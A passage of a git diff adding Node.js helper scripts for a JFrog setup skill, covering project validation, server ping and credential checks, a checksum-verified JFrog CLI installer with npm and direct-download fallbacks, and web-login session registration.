|| ""; + + const creds = resolveCreds(serverId); + if (!creds) { + emit({ + check: "project", + status: "error", + detail: "cannot authenticate to /access: no access token or user+password found in jf config. Re-run `jf config add --interactive`.", + }); + return { exitCode: 3 }; + } + + const rawGet = (path) => authedFetch(creds, path); + + // ---------- Fetch project list first (needed for every branch) ---------- + // Cached per server for a short TTL (lib/project-cache.mjs): the + // interactive picker re-invokes this script once per user attempt within + // the same walk, and re-enumerating on every typed guess is wasted + // network traffic — matching/similarity search below already runs + // offline against whatever list we have in memory. + let list; + const cachedBody = readCachedProjectList(serverId, creds); + if (cachedBody !== null) { + list = { code: 200, body: cachedBody }; + } else { + list = await rawGet("/access/api/v1/projects"); + if (list.code >= 200 && list.code < 300) writeCachedProjectList(serverId, creds, list.body); + } + const enumOk = list.code >= 200 && list.code < 300; + const candidatesWithNames = enumOk ? projectsWithNames(list.body) : []; + + // ---------- Resolve+validate branch: an input was passed ---------- + if (projectInput) { + let resolvedKey = projectInput; + if (enumOk) { + const resolved = resolveProject(candidatesWithNames, projectInput); + if (resolved?.tied) { + emit({ + check: "project", + status: "red", + detail: `input "${projectInput}" matches multiple projects; be more specific`, + candidates: resolved.tied, + ...capCandidatesForDisplay(candidatesWithNames), + }); + return { exitCode: 1 }; + } + if (resolved?.key) resolvedKey = resolved.key; + // No match against the enumeration — could still be a valid key the + // enumeration missed (paging, ACL), so let the existence probe below + // be the ultimate arbiter. + } + + // Encode as a single path segment (not just URI-escape) so an input like + // "../projects" can't change which endpoint gets hit. + const projectPath = `/access/api/v1/projects/${encodeURIComponent(resolvedKey)}`; + const probe = await rawGet(projectPath); + // A 2xx status alone isn't proof this is really the GetProject response — + // a captive portal or misrouted network can also answer 200. Require the + // expected shape (an object carrying the project's own key) too, the + // same guard jfrog-detect-catalog-runtime.mjs applies to its endpoint. + const looksLikeProject = + probe.body && + typeof probe.body === "object" && + (typeof probe.body.project_key === "string" || typeof probe.body.projectKey === "string"); + if (probe.code >= 200 && probe.code < 300 && looksLikeProject) { + emit({ check: "project", status: "green", detail: `project ${resolvedKey} exists and is accessible (HTTP ${probe.code})`, resolvedKey }); + return { exitCode: 0, resolvedKey }; + } + if (probe.code >= 200 && probe.code < 300 && !looksLikeProject) { + emit({ + check: "project", + status: "error", + detail: `got HTTP ${probe.code} from ${creds.baseUrl}${projectPath} but the response wasn't the expected project shape — this may not be the JPD's real endpoint (captive portal / proxy?)`, + }); + return { exitCode: 3 }; + } + if (probe.code >= 500 && probe.code < 600) { + // A 5xx means the backend itself is erroring, same as a connection + // failure from the caller's perspective — treat it as "red", not + // "error", matching jfrog-detect-catalog-runtime.mjs and + // jfrog-detect-server-ping.mjs's classification of the same code class. + emit({ check: "project", status: "red", detail: `${creds.baseUrl}${projectPath} returned HTTP ${probe.code} — the backend is erroring` }); + return { exitCode: 1 }; + } + if (probe.code === 404) { + const similarProjects = enumOk ? findSimilarProjects(candidatesWithNames, projectInput) : []; + emit({ + check: "project", + status: "red", + detail: `no project matches "${projectInput}" on this JPD — pick a different one`, + resolvedKey, + ...capCandidatesForDisplay(candidatesWithNames), + ...(similarProjects.length > 0 ? { similarProjects } : {}), + }); + return { exitCode: 1 }; + } + if (probe.code === 401) { + // Unlike 403, a 401 means the credentials themselves were rejected — + // this says nothing about whether the project exists. + emit({ + check: "project", + status: "error", + detail: `cannot verify project ${resolvedKey}: /access rejected the credentials in jf config (HTTP 401). Re-run \`jf config add --interactive\`.`, + }); + return { exitCode: 3 }; + } + if (probe.code === 403) { + // ACLs are per-project — not entitled to this one says nothing about + // any other, so carry candidatesWithNames the same as the 404 branch + // to let the caller re-offer the picker instead of dead-ending. + emit({ + check: "project", + status: "red", + detail: `project ${resolvedKey} exists but your user is not entitled to see it (HTTP 403) — pick a project you have access to, or contact your JFrog admin`, + ...capCandidatesForDisplay(candidatesWithNames), + }); + return { exitCode: 1 }; + } + if (probe.code === 0) { + // Red, not error — the 5xx branch above treats "the backend is + // erroring" as red precisely because it's indistinguishable from a + // connection failure from here, and + // jfrog-detect-catalog-runtime.mjs maps its own "000" to red too. + // Classifying the real thing as an error would make the same + // condition blocking in Step 6 and non-blocking in Step 7. + emit({ + check: "project", + status: "red", + detail: `could not reach ${creds.baseUrl}${projectPath} (connection failed)${NETWORK_UNREACHABLE_HINT}`, + ...capCandidatesForDisplay(candidatesWithNames), + }); + return { exitCode: 1 }; + } + emit({ check: "project", status: "error", detail: `project validation returned unexpected HTTP ${probe.code} for ${creds.baseUrl}${projectPath}` }); + return { exitCode: 3 }; + } + + // ---------- Ask branch: no input passed; return candidates ---------- + // Branches on `enumOk`, not `candidatesWithNames.length`, so a JPD with + // zero accessible projects (enumeration succeeded, list is empty) isn't + // misreported as "enumeration was not available". + if (enumOk) { + const shown = capCandidatesForDisplay(candidatesWithNames); + emit({ + check: "project", + status: "ask", + detail: candidatesWithNames.length > 0 + ? shown.candidatesTotal + ? `no project chosen — ask the user which project to use (showing ${shown.candidatesWithNames.length} of ${shown.candidatesTotal})` + : "no project chosen — ask the user which project to use" + : "no project chosen — ask the user which project to use (no projects are accessible on this JPD)", + ...(candidatesWithNames.length > 0 ? { candidates: shown.candidatesWithNames.map((p) => p.key), ...shown } : {}), + }); + } else { + emit({ check: "project", status: "ask", detail: "no project chosen — ask the user which project to use (project enumeration was not available)" }); + } + return { exitCode: 2 }; +} + +if (isMainModule(import.meta.url)) { + const result = await detectProject(process.argv[2], process.argv[3]); + process.exitCode = result.exitCode; +} diff --git a/skills/jfrog-init/scripts/jfrog-detect-server-ping.mjs b/skills/jfrog-init/scripts/jfrog-detect-server-ping.mjs new file mode 100755 index 0000000..c72d0db --- /dev/null +++ b/skills/jfrog-init/scripts/jfrog-detect-server-ping.mjs @@ -0,0 +1,154 @@ +#!/usr/bin/env node +// Two-part reachability + credentials check for the configured JFrog server. +// Idempotent, read-only, zero mutation. Emits one JSON line to stdout. +// +// Part A — reachability (anonymous): +// Pull from `jf c show --format=json` for the resolved server, then +// fetch /artifactory/api/system/ping with no auth. Confirms the URL +// stored in `jf config` actually resolves to a live Artifactory. HTTP +// 200/401/403 = up (the endpoint responded even without auth). 404 / +// connection failure / 5xx = red, and Part B is skipped. +// +// Part B — credentials (authenticated, via jf): +// `jf rt ping --server-id=`. The token stays inside jf's process — +// this script never reads, prints, or stores it. A pass means the token +// in `jf config` is valid, not expired, and authorized to hit +// Artifactory — the earliest possible signal of stale credentials. +// +// BOTH must pass for green. Part A green with Part B red distinguishes +// "URL wrong" from "token expired/invalid" — two distinct fixes. +// +// Usage: node jfrog-detect-server-ping.mjs [server-id] +// Exit 0 -> green (URL reachable AND jf rt ping succeeded) +// Exit 1 -> red (jf missing, no URL, fetch or jf rt ping failed) +// Exit 2 -> ask (multiple servers configured, no server-id resolvable — +// caller must prompt the user and re-invoke with the +// picked server-id). Servers are enumerated in +// `candidates` in the JSON detail. +// +// No corresponding fix script — per the skill's dependency-order rule, a +// failed ping is a stop-and-warn condition, not something auto-fixed. + +import { emit, isMainModule, urlForServer, normalizeJpdUrl, anonymousFetchStatus, NETWORK_UNREACHABLE_HINT, runJf } from "./lib/jf.mjs"; +import { resolveServerOrEmit } from "./jfrog-resolve-jf-server.mjs"; + +// Extract the first meaningful error line rather than dumping the whole jf +// output (which can include multi-line nginx HTML for cookie/proxy errors). +// `jf`'s own error text shouldn't contain a token, but the redaction below +// is defense in depth against a future jf version leaking one into stderr. +// Boundaries are explicit character-class lookarounds rather than `\b` — +// `\b` doesn't fire between two non-word characters (e.g. a space and a +// leading `-`/`_`, both valid base64url token chars), which would leave +// part of a token unredacted. +function extractErr(out) { + const lines = out.split("\n"); + const line = + lines.find((l) => l.includes("[Error]")) || + lines.find((l) => l.includes("[Warn]")) || + lines.find((l) => l.trim()) || + out; + return line + .replace(/\s+/g, " ") + .replace(/"/g, "'") + .replace(/\b(Bearer\s+)\S+/gi, "$1[redacted]") + .replace(/(? installed, updated, or already present and up to date, and +// `jf` resolves at >= the minimum version. +// Exit 1 -> every plan failed (or Windows, where Plan C can't run +// automatically). Falls back to printing a manual command. + +import { mkdirSync, writeFileSync, renameSync, chmodSync, readFileSync, appendFileSync, unlinkSync } from "node:fs"; +import { createHash } from "node:crypto"; +import { homedir } from "node:os"; +import { join } from "node:path"; +import { spawnSync, execFileSync } from "node:child_process"; +import { jfAvailable, invalidateJfAvailableCache, runJf, JF_BIN_DIR } from "./lib/jf.mjs"; +import { commandExists, prependToPathIfMissing, resolveBinaryDir } from "./lib/command.mjs"; +import { MIN_JF_VERSION, isOlderThan } from "./jfrog-detect-jf-cli.mjs"; + +const MANUAL_INSTALL_CMD = "npm install -g jfrog-cli-v2-jf"; +const PUBLIC_REGISTRY = "https://registry.npmjs.org/"; + +const INSTALL_DIR = JF_BIN_DIR; +const INSTALL_PATH = join(INSTALL_DIR, "jf"); +const RELEASE_BASE = "https://releases.jfrog.io/artifactory/jfrog-cli/v2-jf/[RELEASE]"; +const PATH_LINE = 'export PATH="$HOME/.jfrog/bin:$PATH"'; +const FISH_PATH_LINE = 'set -gx PATH "$HOME/.jfrog/bin" $PATH'; + +const log = (msg) => process.stderr.write(msg + "\n"); + +// Set by tryNpmInstall() on failure, read by the final "all methods +// failed" branch at the bottom of this file. Kept out of the routine +// progress log — see tryNpmInstall()'s own comment — since the raw npm +// error text/exit code (and the specific configured registry, which can +// be an org-internal hostname) is only actually useful to the user once +// Plan C has ALSO failed and there's a real problem to debug; printing it +// unconditionally makes an ultimately-successful install (npm failed, but +// Plan C quietly saved it) look like something went wrong. +let npmFailureDetail = ""; + +// ---------------- Plans A/B: npm ---------------- + +// Windows resolves `npm` to `npm.cmd`, which Node's spawnSync only finds +// via `shell: true` — a bare spawnSync("npm", ...) there fails with ENOENT +// even though npm is genuinely installed. Args here are all static +// strings (never user input), so shell:true carries no injection risk. +const NPM_SPAWN_OPTS = { shell: process.platform === "win32" }; + +function npmInstall(extraArgs = []) { + return spawnSync("npm", ["install", "-g", "jfrog-cli-v2-jf", ...extraArgs], { + stdio: ["ignore", "pipe", "pipe"], + timeout: 120_000, + encoding: "utf8", + ...NPM_SPAWN_OPTS, + }); +} + +function currentRegistry() { + const res = spawnSync("npm", ["config", "get", "registry"], { encoding: "utf8", timeout: 10_000, ...NPM_SPAWN_OPTS }); + return (res.stdout || "").trim(); +} + +// Shared by selfHealNpmPath() below and tryNpmInstall()'s Plan B retry +// guard, which needs this same directory to tell "npm's own install is +// shadowed by something earlier on PATH" apart from "npm served a stale +// version" — see the guard's comment. +function resolveNpmBinDir() { + let prefix; + try { + prefix = execFileSync("npm", ["config", "get", "prefix"], { encoding: "utf8", timeout: 10_000, ...NPM_SPAWN_OPTS }).trim(); + } catch { + return ""; + } + if (!prefix) return ""; + return process.platform === "win32" ? prefix : join(prefix, "bin"); +} + +// npm's global bin dir isn't always on the CURRENT process's PATH (custom +// prefix, some CI/sandbox images) even right after a genuinely successful +// `npm install -g`. Without this, that PATH gap gets misread as npm +// itself having failed — see tryNpmInstall() below. +function selfHealNpmPath() { + const binDir = resolveNpmBinDir(); + if (binDir) prependToPathIfMissing(binDir); +} + +function tryNpmInstall() { + if (!commandExists("npm")) { + npmFailureDetail = "npm not found"; + return false; + } + let result = npmInstall(); + if (result.status === 0) { + selfHealNpmPath(); + invalidateJfAvailableCache(); + } + // Gate the retry (and the final success check below) on + // currentJfIsUpToDate(), not just jfAvailable() — jfAvailable() alone + // only proves *some* jf resolves on PATH, not that it's the one npm + // just installed. A jf from Homebrew/a version manager sitting earlier + // on PATH (see the file-header trade-off note) would otherwise read as + // "installed" here even though it's still below MIN_JF_VERSION. + // + // But when npm itself reported success (result.status === 0) and the + // resolving jf is still stale, that has two distinct causes that need + // different handling: either npm's own global bin now holds a stale + // build (the configured registry served an old/pinned version — the + // retry below, and its Curation note, are accurate for this case), or + // npm's install is fine but something earlier on PATH is shadowing it + // (the file-header trade-off) — no registry retry fixes that, and + // retrying anyway would misreport "Install via failed" for + // a registry that never actually failed. Told apart by WHERE the + // currently-resolving jf lives, not by npm's exit code. + if (result.status === 0 && !currentJfIsUpToDate()) { + const npmBinDir = resolveNpmBinDir(); + const jfDir = resolveBinaryDir("jf"); + if (npmBinDir && jfDir && jfDir !== npmBinDir) { + npmFailureDetail = + `the \`jf\` resolving on PATH is at ${jfDir}, not npm's global bin (${npmBinDir}) — another jf install ` + + "earlier on PATH (Homebrew, a version manager, or Plan C) is shadowing it. Retrying against a different " + + "registry would not fix this; move npm's global bin ahead of it on PATH, or remove the other install."; + return false; + } + } + + if (result.status !== 0 || !currentJfIsUpToDate()) { + const registry = currentRegistry(); + if (registry && registry !== PUBLIC_REGISTRY) { + result = npmInstall([`--registry=${PUBLIC_REGISTRY}`]); + if (result.status === 0) { + selfHealNpmPath(); + invalidateJfAvailableCache(); + // On stdout, not just the stderr log above — this is the one line + // a caller relaying results to the user is most likely to surface, + // and installing outside the configured registry means this one + // package bypassed Artifactory/Curation, not something to report + // as a plain, uneventful success. + console.log( + `Note: installed jfrog-cli-v2-jf from the public npm registry (${PUBLIC_REGISTRY}) ` + + `because the configured registry (${registry}) failed — this install bypassed Artifactory/Curation.` + ); + } + } + } + if (result.status === 0 && currentJfIsUpToDate()) { + log("Installed JFrog CLI via npm."); + return true; + } + if (result.status === 0) { + // npm itself reported success, but the jf that resolves on PATH still + // isn't the up-to-date one afterward (selfHealNpmPath() couldn't + // find/fix the gap — e.g. a non-standard prefix — or a different jf + // earlier on PATH is shadowing the one npm just installed). Reporting + // this the same way as an actual npm failure below would print the + // nonsensical "npm install failed (exit code 0)" — npm didn't fail, + // what's on PATH afterward did. + npmFailureDetail = jfAvailable() + ? "npm install reported success, but the `jf` resolving on PATH is still below the minimum version afterward." + : "npm install reported success, but `jf` still isn't resolving on PATH afterward."; + return false; + } + // A timed-out spawnSync sets `result.error.code === "ETIMEDOUT"` and + // kills the child, but the child can still have written something to + // stderr before being killed (e.g. a stray npm warning unrelated to the + // real cause) — checking `result.stderr` first would report that noise + // as "why npm install failed" instead of the actual 120s timeout. The + // two execFileSync-based detectors already check `.code === "ETIMEDOUT"` + // first for the identical reason; this spawnSync path missed it. + const reason = + result.error && result.error.code === "ETIMEDOUT" + ? "timed out after 120s" + : (result.stderr || "").trim() || (result.error ? result.error.message : `exit code ${result.status}`); + npmFailureDetail = reason; + return false; +} + +// ---------------- Plan C: direct binary download ---------------- + +// tryDirectDownload()'s Windows branch already prints a platform-specific +// PowerShell command and returns non-success — the generic +// MANUAL_INSTALL_CMD fallback at the bottom of this file must NOT also +// print afterward in that case, or the user sees two conflicting install +// commands with the one that just failed (npm) printed last, reading as +// the recommended next step. This sentinel lets the caller tell "failed, +// nothing printed yet" apart from "failed, but already told the user what +// to run" without a boolean losing that distinction. +const PLATFORM_COMMAND_PRINTED = "platform-command-printed"; + +// The line the caller should `eval` in the *current* shell — must match +// whatever syntax that shell understands. Fish has no `export`, so an +// eval of PATH_LINE there is a silent no-op and `jf` stays unresolved for +// the rest of the process despite a successful install. +function evalPathLine() { + return (process.env.SHELL || "").includes("fish") ? FISH_PATH_LINE : PATH_LINE; +} + +// Idempotently appends the PATH line to the user's shell rc so future +// terminals see `jf` without the user editing anything themselves. +function persistOnPath() { + const shell = process.env.SHELL || ""; + const line = evalPathLine(); + let rcPath; + if (shell.includes("fish")) { + rcPath = join(homedir(), ".config", "fish", "config.fish"); + } else if (shell.includes("zsh")) { + rcPath = join(homedir(), ".zshrc"); + } else if (shell.includes("bash")) { + rcPath = join(homedir(), ".bashrc"); + } else { + rcPath = join(homedir(), ".profile"); + } + + let existing = ""; + try { + existing = readFileSync(rcPath, "utf8"); + } catch { + existing = ""; + } + if (existing.includes(line)) return; + + try { + mkdirSync(join(rcPath, ".."), { recursive: true }); + appendFileSync(rcPath, `\n# Added by JFrog CLI installer (/jfrog-init)\n${line}\n`); + log(`Added ~/.jfrog/bin to PATH in ${rcPath} — new terminals will see \`jf\` directly.`); + } catch (err) { + log(`Could not update ${rcPath} automatically (${err.message}); add this line yourself:\n ${line}`); + } +} + +// JFrog ships separate macOS binaries per arch: "mac-386" (a historical +// name, not the arch — this one is actually x64) for Intel, "mac-arm64" +// for Apple Silicon. There's no universal/fat binary to fall back on. +function pickArtifact() { + if (process.platform === "darwin") { + return process.arch === "arm64" ? "jfrog-cli-mac-arm64/jf" : "jfrog-cli-mac-386/jf"; + } + if (process.platform === "linux") { + switch (process.arch) { + case "x64": + return "jfrog-cli-linux-amd64/jf"; + case "arm64": + return "jfrog-cli-linux-arm64/jf"; + case "arm": + return "jfrog-cli-linux-arm/jf"; + case "ia32": + return "jfrog-cli-linux-386/jf"; + default: + return null; + } + } + return null; +} + +async function tryDirectDownload() { + if (process.platform === "win32") { + log("Windows detected — the direct-download fallback is not supported here."); + const winArtifactUrl = `${RELEASE_BASE}/jfrog-cli-windows-amd64/jf.exe`; + // Same fail-closed policy as the macOS/Linux path below: this printed + // command is never actually run by this process, so if Artifactory + // won't hand back a checksum to embed, refuse to print a command that + // would install an unverified binary rather than silently downgrading + // to one. + const expectedSha256 = await fetchChecksumHeader(winArtifactUrl); + if (!expectedSha256) { + log(`Could not obtain an expected checksum for ${winArtifactUrl} — refusing to install an unverified binary.`); + return false; + } + // User-owned path + user-scope PATH (setx, no /M) — same "no admin + // needed" contract as macOS/Linux above. Do NOT install to + // $env:SYSTEMROOT\system32: that requires an elevated prompt just to + // place an unverified download in a directory shared by every user + // and process on the machine, for no benefit over a per-user install. + // $env:Path is the PROCESS Path — machine and user scopes already + // concatenated. `setx PATH "...;$env:Path"` would write that combined + // value into the user-scope variable, duplicating every machine-level + // entry into it (and freezing them there, shadowing future machine + // PATH changes), plus setx silently truncates at 1024 characters — a + // real risk on a dev machine with a long PATH. Read/write the + // user-scope value only, via [Environment]::GetEnvironmentVariable / + // SetEnvironmentVariable, so this only ever prepends to what the user + // scope already had. + // PowerShell's `-ne` string comparison is case-insensitive by default, + // so the mixed-case hex Get-FileHash returns compares fine against the + // lowercase hex from the checksum header. + console.log(`Run in PowerShell: +New-Item -ItemType Directory -Force -Path "$env:USERPROFILE\\.jfrog\\bin" | Out-Null; iwr ${winArtifactUrl} -OutFile "$env:USERPROFILE\\.jfrog\\bin\\jf.exe"; if ((Get-FileHash "$env:USERPROFILE\\.jfrog\\bin\\jf.exe" -Algorithm SHA256).Hash -ne "${expectedSha256}") { Remove-Item "$env:USERPROFILE\\.jfrog\\bin\\jf.exe" -Force; Write-Error "Checksum mismatch - aborting install"; exit 1 }; $userPath = [Environment]::GetEnvironmentVariable('Path','User'); [Environment]::SetEnvironmentVariable('Path', "$env:USERPROFILE\\.jfrog\\bin;$userPath", 'User')`); + return PLATFORM_COMMAND_PRINTED; + } + + const artifact = pickArtifact(); + if (!artifact) { + log(`Unsupported OS/arch (${process.platform} / ${process.arch}) for direct download.`); + return false; + } + + const url = `${RELEASE_BASE}/${artifact}`; + mkdirSync(INSTALL_DIR, { recursive: true }); + + // Artifactory answers HEAD directly with an X-Checksum-Sha256 header + // (verified live); the actual GET below redirects to a CDN-backed cache + // for the bytes themselves, which does NOT carry that header. If the + // HEAD followed the same redirect automatically, `fetch()` would hand + // back the CDN's headers instead of Artifactory's, silently losing the + // checksum — so redirects are handled manually here, and the header is + // read off Artifactory's own response before it's followed. + // Issued concurrently with the GET below (independent round trips to + // the same URL) rather than awaited first, since the checksum is only + // needed after the download completes anyway. + async function fetchChecksumHeader(target) { + try { + const res = await fetch(target, { method: "HEAD", redirect: "manual", signal: AbortSignal.timeout(30_000) }); + return res.headers.get("x-checksum-sha256") || ""; + } catch { + return ""; + } + } + const headPromise = fetchChecksumHeader(url); + // Best-effort — if the HEAD fails, the GET below still gets a real + // download; it just won't be checksum-verified. + + let bytes; + try { + const res = await fetch(url, { signal: AbortSignal.timeout(120_000) }); + if (!res.ok) throw new Error(`HTTP ${res.status}`); + bytes = Buffer.from(await res.arrayBuffer()); + } catch (err) { + log(`Download failed (${err.message}).`); + return false; + } + + const expectedSha256 = await headPromise; + + if (!bytes.length) { + log("Downloaded file is empty."); + return false; + } + + // Comparing against the checksum Artifactory computed server-side (from + // the HEAD above) catches a truncated/corrupted transfer. It's not an + // independent signature (both come from the same Artifactory instance), + // so it can't prove the artifact itself is untampered; a real fix would + // need a separately-published signature, which releases.jfrog.io + // doesn't offer today. This deliberately doesn't pin a specific CLI + // version either: it tracks "latest" the same way JFrog's own installer + // scripts do, so pinning here would just mean maintaining a + // version/checksum matrix that drifts from upstream. + if (expectedSha256) { + const actualSha256 = createHash("sha256").update(bytes).digest("hex"); + if (actualSha256 !== expectedSha256) { + log(`Downloaded file's checksum doesn't match Artifactory's (expected ${expectedSha256}, got ${actualSha256}).`); + return false; + } + } else { + // fetchChecksumHeader() swallows its own errors and returns "" for + // anything from a timeout to a missing header. This is Plan C — npm + // (Plans A/B) is always tried first and is the one path JFrog's own + // docs describe — so failing closed here (rather than installing an + // unverified binary with just a log line, indistinguishable from a + // verified one to a caller that only checks the exit code) costs + // little: the caller still gets MANUAL_INSTALL_CMD to hand the user. + log(`Could not obtain an expected checksum for ${url} — refusing to install an unverified binary.`); + return false; + } + + // Rules out a JFrog-branded HTML error page silently written to disk: + // non-empty, and either an ELF or Mach-O binary. + const magic = bytes.subarray(0, 4).toString("hex"); + const validMagic = ["7f454c46", "cffaedfe", "cefaedfe", "feedface", "feedfacf", "cafebabe"]; + if (!validMagic.includes(magic)) { + log(`Downloaded file does not look like a binary (magic=${magic}).`); + return false; + } + + // Written inside INSTALL_DIR (not the OS tmpdir) so the final rename is + // guaranteed to land on the same filesystem — a cross-filesystem rename + // (e.g. tmpfs /tmp vs a separately-mounted $HOME) fails with EXDEV. + const tmp = join(INSTALL_DIR, `.jf.tmp.${process.pid}`); + // Wrapped because "wx" throws EEXIST rather than overwriting, and the + // name is only unique per PID: a run killed between the write and the + // rename (Ctrl-C, OOM, harness timeout) leaves the temp file behind, + // and the next run to reuse that PID hits it. Unhandled, that replaces + // the caller's "all install methods failed, here's the manual command" + // fallback with a raw stack trace, at the end of a flow that has + // already spent a while failing. EPERM/ENOSPC on the chmod/rename land + // here too. + try { + // "wx" refuses to follow/overwrite anything already at tmp (e.g. a + // pre-planted symlink) — same symlink-safe pattern as + // lib/project-cache.mjs's writeCachedProjectList(). + writeFileSync(tmp, bytes, { flag: "wx" }); + chmodSync(tmp, 0o755); + renameSync(tmp, INSTALL_PATH); + } catch (err) { + log(`Could not write ${INSTALL_PATH} (${err.message}).`); + // Best-effort cleanup so a failure here doesn't poison the next run + // with the very leftover that may have caused it. + try { + unlinkSync(tmp); + } catch { + // Never created, already renamed, or not ours to remove. + } + return false; + } + + // A checksum match only proves the bytes weren't corrupted in transit — + // it says nothing about whether this binary actually executes on the + // current OS/libc (e.g. a glibc/musl mismatch on Linux). Run it before + // reporting success so a broken binary surfaces here, not as a + // confusing "jf: command not found" later. + try { + execFileSync(INSTALL_PATH, ["--version"], { timeout: 10_000, stdio: "ignore" }); + } catch (err) { + log(`Downloaded binary does not run (${err.message}).`); + return false; + } + + log(`Installed JFrog CLI at ${INSTALL_PATH}.`); + persistOnPath(); + console.log(evalPathLine()); + return true; +} + +// ---------------- Main ---------------- + +// jfAvailable() alone only proves `jf` resolves on PATH — not that it +// satisfies this skill's minimum version (see MIN_JF_VERSION in +// jfrog-detect-jf-cli.mjs). This script is also the action behind +// jf-cli-update-prompt.md's "Update it now?" (jf present, but outdated) — +// without this version check, that path silently no-oped here instead of +// actually running an install. +function currentJfIsUpToDate() { + if (!jfAvailable()) return false; + try { + const version = runJf(["--version"]).trim().split("\n")[0] || ""; + return !isOlderThan(version, MIN_JF_VERSION); + } catch { + return false; + } +} + +// Sets process.exitCode rather than calling process.exit() — same reason +// every detector does: a forced exit can truncate a still-draining stdout +// write, and MANUAL_INSTALL_CMD below is the one thing a caller of this +// script actually needs on the failure path. +if (currentJfIsUpToDate()) { + log("JFrog CLI already installed and up to date."); + process.exitCode = 0; +} else if (tryNpmInstall()) { + process.exitCode = 0; +} else { + const directResult = await tryDirectDownload(); + if (directResult === true) { + process.exitCode = 0; + } else { + // Skip the generic fallback when a platform-specific command was + // already printed (Windows) — printing MANUAL_INSTALL_CMD too would + // show a second, conflicting install command, with the one that just + // failed (npm) last. + if (directResult !== PLATFORM_COMMAND_PRINTED) { + // Only now is npmFailureDetail (whatever tryNpmInstall() stashed — + // npm missing, a raw npm error, or a PATH-shadowing/stale-jf + // diagnostic — instead of logging it immediately) worth showing — + // Plan C has also failed, so there's a real problem to debug + // rather than an ultimately-successful install that merely took a + // detour through a registry retry or a direct download. + log( + npmFailureDetail + ? `All install methods failed (npm: ${npmFailureDetail}). Falling back to manual command.` + : "All install methods failed. Falling back to manual command." + ); + console.log(MANUAL_INSTALL_CMD); + } + process.exitCode = 1; + } +} diff --git a/skills/jfrog-init/scripts/jfrog-login-register-session.mjs b/skills/jfrog-init/scripts/jfrog-login-register-session.mjs new file mode 100644 index 0000000..b72508d --- /dev/null +++ b/skills/jfrog-init/scripts/jfrog-login-register-session.mjs @@ -0,0 +1,132 @@ +#!/usr/bin/env node +// jfrog-login-register-session.mjs — Verify a JFrog server and start a web login session +// +// Pings the server, generates a session UUID, and registers it with +// the Access API for browser-based authentication (bootstrap HTTP via +// `jf api --url`). +// +// Usage: +// node jfrog-login-register-session.mjs +// +// Arguments: +// platform-url — Full JFrog Platform URL (e.g. https://mycompany.jfrog.io) +// +// Output (stdout, one key=value per line): +// SESSION_UUID= +// VERIFY_CODE= +// +// Exit codes: +// 0 — Session registered successfully +// 1 — Missing arguments or prerequisites +// 2 — Server not reachable (ping failed) +// 3 — Session registration request failed + +import { execFileSync } from "node:child_process"; +import { randomUUID } from "node:crypto"; +import { jfApi, parseHttpStatus } from "./lib/jf-api.mjs"; +import { isMainModule } from "./lib/jf.mjs"; +import { SAFE_URL } from "./jfrog-login-save-credentials.mjs"; + +// Pins stdio so a failing/logging `jf` subprocess can't leak output to +// this script's own stderr (Node's execFileSync default is to echo the +// child's stderr live to the parent) — see lib/jf-api.mjs's jfApi() for +// the full rationale. Still captures both streams via the thrown error's +// .stdout/.stderr on failure. +function execFileOpts(timeoutMs) { + return { + encoding: "utf8", + timeout: timeoutMs, + shell: process.platform === "win32", + stdio: ["ignore", "pipe", "pipe"], + }; +} + +// `jf api` was added in JFrog CLI 2.100.0 and every request below depends +// on it. Checked explicitly: on an older CLI the ping fails with an +// unknown-command error that carries no HTTP status, which would +// otherwise be reported as an unreachable server and send the user +// looking at the network instead of the CLI. A single `jf api --help` +// probe also doubles as the "is jf even installed" check — its ENOENT +// case is indistinguishable from "jf missing" either way. Step 2 already +// gates on MIN_JF_VERSION = 2.106.0 (above the 2.100.0 that shipped `jf +// api`), so by the time this runs `jf api` is guaranteed present — this +// check exists for the rare case this script runs standalone, outside +// the normal Step 2 → Step 3 walk order. +function checkJfApiSupport() { + try { + execFileSync("jf", ["api", "--help"], execFileOpts(10_000)); + return { ok: true }; + } catch (err) { + if (err.code === "ENOENT") return { ok: false, reason: "missing" }; + let version = "version unknown"; + try { + version = execFileSync("jf", ["--version"], execFileOpts(10_000)).trim(); + } catch { + // Leave the "version unknown" default. + } + return { ok: false, reason: "outdated", version }; + } +} + +export function registerSession(platformUrlRaw) { + if (!platformUrlRaw) { + process.stderr.write("Usage: node jfrog-login-register-session.mjs \n"); + return 1; + } + const platformUrl = platformUrlRaw.replace(/\/+$/, ""); + if (!SAFE_URL.test(platformUrl)) { + process.stderr.write("ERROR: platform URL contains unexpected characters.\n"); + return 1; + } + + const support = checkJfApiSupport(); + if (!support.ok) { + if (support.reason === "missing") { + process.stderr.write("ERROR: jf is not installed\n"); + } else { + process.stderr.write(`ERROR: this jf (${support.version}) does not support 'jf api',\n`); + process.stderr.write("which this login flow requires (JFrog CLI 2.100.0 or later).\n"); + process.stderr.write("Upgrade the JFrog CLI, then retry.\n"); + } + return 1; + } + + // Verify server is reachable (unauthenticated ping) + const ping = jfApi(["--url", platformUrl, "/artifactory/api/system/ping"]); + if (!ping.ok) { + const code = parseHttpStatus(ping.stderr); + process.stderr.write(`ERROR: Server not reachable at ${platformUrl} (HTTP ${code})\n`); + return 2; + } + + const sessionUuid = randomUUID(); + const verifyCode = sessionUuid.slice(-4); + + // Register the session with the Access API + const register = jfApi([ + "--url", + platformUrl, + "-X", + "POST", + "-H", + "Content-Type: application/json", + "-d", + JSON.stringify({ session: sessionUuid }), + "/access/api/v2/authentication/jfrog_client_login/request", + ]); + if (!register.ok) { + const code = parseHttpStatus(register.stderr); + process.stderr.write(`ERROR: Session registration failed (HTTP ${code})\n`); + return 3; + } + + process.stdout.write(`SESSION_UUID=${sessionUuid}\n`); + process.stdout.write(`VERIFY_CODE=${verifyCode}\n`); + return 0; +} + +// Sets process.exitCode rather than calling process.exit() — a forced +// exit can truncate a still-draining stdout write if output is piped. +if (isMainModule(import.meta.url)) { + process.exitCode = registerSession(process.argv[2] || ""); +} diff --git a/skills/jfrog-init/scripts/jfrog-login-save-credentials.mjs b/skills/jfrog-init/scripts/jfrog-login-save-credentials.mjs new file mode 100644 index 0000000..7578a8d --- /dev/null +++ b/skills/jfrog-init/scripts/jfrog-login-save-credentials.mjs @@ -0,0 +1,186 @@ +#!/usr/bin/env node +// jfrog-login-save-credentials.mjs — Complete web login by retrieving token and saving credentials +// +// Retrieves the one-time access token from a completed web login session, +// derives a server ID, saves the configuration via jf config, and verifies. +// Bootstrap token exchange uses `jf api --url` (before any server exists in +// `jf config`); verification uses `jf api` with --server-id. +// +// Leaves the current default `jf` server unchanged. Subsequent calls should +// pass `--server-id=` explicitly. +// +// IMPORTANT: The token endpoint is one-time-use. If this script fails after +// consuming the token (e.g. jf config write 